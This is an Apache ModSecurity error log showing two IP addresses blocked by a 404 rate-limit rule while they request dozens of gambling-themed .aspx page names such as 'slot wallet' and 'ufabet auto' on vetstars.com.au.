[Wed Mar 25 12:34:44.728105 2026] [:error] [pid 26321:tid 26358] [client 51.75.119.173:57728] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acNl5PKO65qqGZCSPZrn-AAAAhE"]
[Wed Mar 25 12:34:47.274550 2026] [:error] [pid 892:tid 912] [client 51.75.119.173:57732] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "acNl5yT_G8WMU3T3yxqY1QAAAM4"]
[Wed Mar 25 12:34:49.832587 2026] [:error] [pid 47989:tid 47999] [client 51.75.119.173:47986] [client 51.75.119.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acNl6SWKdJMhIccROjkOMgAAAUg"]
[Wed Mar 25 13:54:01.919892 2026] [:error] [pid 892:tid 915] [client 178.150.14.250:48904] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acN4eST_G8WMU3T3yxqlBwAAANE"]
[Wed Mar 25 13:54:04.475096 2026] [:error] [pid 25967:tid 25984] [client 178.150.14.250:40478] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acN4fPg8Qtq7ZM4mSFnEQQAAA0w"]
[Wed Mar 25 13:54:06.841052 2026] [:error] [pid 25967:tid 25984] [client 178.150.14.250:40486] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acN4fvg8Qtq7ZM4mSFnESAAAA0w"]
[Wed Mar 25 13:54:09.336491 2026] [:error] [pid 25967:tid 25981] [client 178.150.14.250:40502] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acN4gfg8Qtq7ZM4mSFnEWQAAA0k"]
[Wed Mar 25 13:54:11.864198 2026] [:error] [pid 25967:tid 25980] [client 178.150.14.250:40514] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acN4g_g8Qtq7ZM4mSFnEbgAAA0g"]
[Wed Mar 25 13:54:14.370645 2026] [:error] [pid 47989:tid 48011] [client 178.150.14.250:40398] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acN4hiWKdJMhIccROjktrQAAAVQ"]
[Wed Mar 25 13:54:16.895865 2026] [:error] [pid 47989:tid 48012] [client 178.150.14.250:40414] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acN4iCWKdJMhIccROjkttwAAAVU"]
[Wed Mar 25 13:54:19.445848 2026] [:error] [pid 26321:tid 26342] [client 178.150.14.250:40428] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acN4i_KO65qqGZCSPZr7YQAAAgM"]
[Wed Mar 25 13:54:22.010347 2026] [:error] [pid 47989:tid 47995] [client 178.150.14.250:40434] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acN4jiWKdJMhIccROjktwQAAAUQ"]
[Wed Mar 25 13:54:24.697710 2026] [:error] [pid 26321:tid 26363] [client 178.150.14.250:39540] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acN4kPKO65qqGZCSPZr7aAAAAhY"]
[Wed Mar 25 13:54:27.217881 2026] [:error] [pid 756:tid 873] [client 178.150.14.250:39556] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acN4kzOaW6oylMIDBCQIvgAAAJU"]
[Wed Mar 25 13:54:29.773718 2026] [:error] [pid 25875:tid 25893] [client 178.150.14.250:39560] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acN4lRJ38QkS3NyfshyUTgAAAow"]
[Wed Mar 25 13:54:32.182350 2026] [:error] [pid 25875:tid 25902] [client 178.150.14.250:39572] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acN4mBJ38QkS3NyfshyUUQAAApU"]
[Wed Mar 25 13:54:34.586533 2026] [:error] [pid 25967:tid 25994] [client 178.150.14.250:46756] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acN4mvg8Qtq7ZM4mSFnEogAAA1Y"]
[Wed Mar 25 13:54:36.992913 2026] [:error] [pid 47989:tid 48008] [client 178.150.14.250:46758] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acN4nCWKdJMhIccROjkt6AAAAVE"]
[Wed Mar 25 13:54:39.449697 2026] [:error] [pid 47989:tid 47996] [client 178.150.14.250:46772] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acN4nyWKdJMhIccROjkt6gAAAUU"]
[Wed Mar 25 13:54:41.917332 2026] [:error] [pid 25967:tid 25979] [client 178.150.14.250:46784] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acN4ofg8Qtq7ZM4mSFnEsQAAA0c"]
[Wed Mar 25 13:54:44.384312 2026] [:error] [pid 756:tid 870] [client 178.150.14.250:39378] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acN4pDOaW6oylMIDBCQIwQAAAJI"]
[Wed Mar 25 13:54:46.825963 2026] [:error] [pid 25875:tid 25900] [client 178.150.14.250:39382] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acN4phJ38QkS3NyfshyUYwAAApM"]
[Wed Mar 25 13:54:49.357991 2026] [:error] [pid 26321:tid 26362] [client 178.150.14.250:39394] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "acN4qfKO65qqGZCSPZr7dAAAAhU"]
[Wed Mar 25 13:54:51.943841 2026] [:error] [pid 25875:tid 25886] [client 178.150.14.250:39398] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acN4qxJ38QkS3NyfshyUaQAAAoU"]
[Wed Mar 25 13:54:54.448613 2026] [:error] [pid 47989:tid 48012] [client 178.150.14.250:38106] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acN4riWKdJMhIccROjkuEAAAAVU"]
[Wed Mar 25 13:54:57.244655 2026] [:error] [pid 47989:tid 48014] [client 178.150.14.250:38122] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "acN4sSWKdJMhIccROjkuGgAAAVc"]
[Wed Mar 25 13:55:43.197324 2026] [:error] [pid 25969:tid 26042] [client 178.150.14.250:38130] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acN43xd3aEUmOfdKja_ldAAAA9A"]
[Wed Mar 25 13:55:45.599881 2026] [:error] [pid 25875:tid 25903] [client 178.150.14.250:55752] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acN44RJ38QkS3NyfshyUzAAAApY"]
[Wed Mar 25 13:55:48.031058 2026] [:error] [pid 26449:tid 26465] [client 178.150.14.250:55766] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acN45NpZ2T15NDqzAjFFKQAAAkw"]
[Wed Mar 25 13:55:50.460217 2026] [:error] [pid 892:tid 914] [client 178.150.14.250:55770] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acN45iT_G8WMU3T3yxqlRwAAANA"]
[Wed Mar 25 13:55:53.080725 2026] [:error] [pid 26321:tid 26361] [client 178.150.14.250:55772] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acN46fKO65qqGZCSPZr7xQAAAhQ"]
[Wed Mar 25 13:55:55.707559 2026] [:error] [pid 25967:tid 25983] [client 178.150.14.250:60088] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acN46_g8Qtq7ZM4mSFnFTAAAA0s"]
[Wed Mar 25 13:55:58.215771 2026] [:error] [pid 26321:tid 26339] [client 178.150.14.250:60094] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acN47vKO65qqGZCSPZr7zAAAAgA"]
[Wed Mar 25 13:56:00.866736 2026] [:error] [pid 25967:tid 25992] [client 178.150.14.250:60108] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acN48Pg8Qtq7ZM4mSFnFXwAAA1Q"]
[Wed Mar 25 13:56:03.563895 2026] [:error] [pid 47989:tid 48014] [client 178.150.14.250:60114] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acN48yWKdJMhIccROjkupgAAAVc"]
[Wed Mar 25 13:56:06.038155 2026] [:error] [pid 25969:tid 26034] [client 178.150.14.250:52636] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acN49hd3aEUmOfdKja_lhAAAA8g"]
[Wed Mar 25 13:56:08.543212 2026] [:error] [pid 25969:tid 26035] [client 178.150.14.250:52652] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acN4-Bd3aEUmOfdKja_lhgAAA8k"]
[Wed Mar 25 13:56:10.933799 2026] [:error] [pid 892:tid 913] [client 178.150.14.250:52656] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acN4-iT_G8WMU3T3yxqlYQAAAM8"]
[Wed Mar 25 13:56:13.347588 2026] [:error] [pid 25875:tid 25889] [client 178.150.14.250:52664] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acN4_RJ38QkS3NyfshyU9wAAAog"]
[Wed Mar 25 13:56:15.747221 2026] [:error] [pid 26269:tid 26281] [client 178.150.14.250:52020] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acN4_0n7e-ZQbaIs7qycLAAAAYU"]
[Wed Mar 25 13:56:18.377506 2026] [:error] [pid 25967:tid 25973] [client 178.150.14.250:52036] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acN5Avg8Qtq7ZM4mSFnFfQAAA0E"]
[Wed Mar 25 13:56:20.982709 2026] [:error] [pid 25967:tid 25992] [client 178.150.14.250:52040] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acN5BPg8Qtq7ZM4mSFnFiwAAA1Q"]
[Wed Mar 25 13:56:23.564225 2026] [:error] [pid 26449:tid 26474] [client 178.150.14.250:52048] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acN5B9pZ2T15NDqzAjFFRQAAAlU"]
[Wed Mar 25 13:56:26.051978 2026] [:error] [pid 25967:tid 25987] [client 178.150.14.250:42320] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acN5Cvg8Qtq7ZM4mSFnFmQAAA08"]
[Wed Mar 25 13:56:28.607385 2026] [:error] [pid 47989:tid 48011] [client 178.150.14.250:42332] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acN5DCWKdJMhIccROjkuxwAAAVQ"]
[Wed Mar 25 13:56:31.281576 2026] [:error] [pid 26449:tid 26466] [client 178.150.14.250:42338] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acN5D9pZ2T15NDqzAjFFSgAAAk0"]
[Wed Mar 25 13:56:33.692650 2026] [:error] [pid 25875:tid 25904] [client 178.150.14.250:42340] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acN5ERJ38QkS3NyfshyVBQAAApc"]
[Wed Mar 25 13:56:36.199679 2026] [:error] [pid 26449:tid 26474] [client 178.150.14.250:50026] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acN5FNpZ2T15NDqzAjFFVAAAAlU"]
[Wed Mar 25 13:56:38.586152 2026] [:error] [pid 26321:tid 26353] [client 178.150.14.250:50030] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acN5FvKO65qqGZCSPZr7-AAAAgw"]
[Wed Mar 25 13:57:23.242490 2026] [:error] [pid 892:tid 908] [client 178.150.14.250:50040] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acN5QyT_G8WMU3T3yxqlqgAAAMo"]
[Wed Mar 25 13:57:25.744083 2026] [:error] [pid 25969:tid 26041] [client 178.150.14.250:51644] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acN5RRd3aEUmOfdKja_ltgAAA88"]
[Wed Mar 25 13:57:28.341834 2026] [:error] [pid 25875:tid 25895] [client 178.150.14.250:51658] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acN5SBJ38QkS3NyfshyVVgAAAo4"]
[Wed Mar 25 13:57:30.969621 2026] [:error] [pid 47989:tid 48012] [client 178.150.14.250:51672] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acN5SiWKdJMhIccROjkvBgAAAVU"]
[Wed Mar 25 13:57:33.466367 2026] [:error] [pid 26269:tid 26280] [client 178.150.14.250:51676] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acN5TUn7e-ZQbaIs7qycRgAAAYQ"]
[Wed Mar 25 13:57:36.067360 2026] [:error] [pid 25875:tid 25899] [client 178.150.14.250:32878] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acN5UBJ38QkS3NyfshyVZAAAApI"]
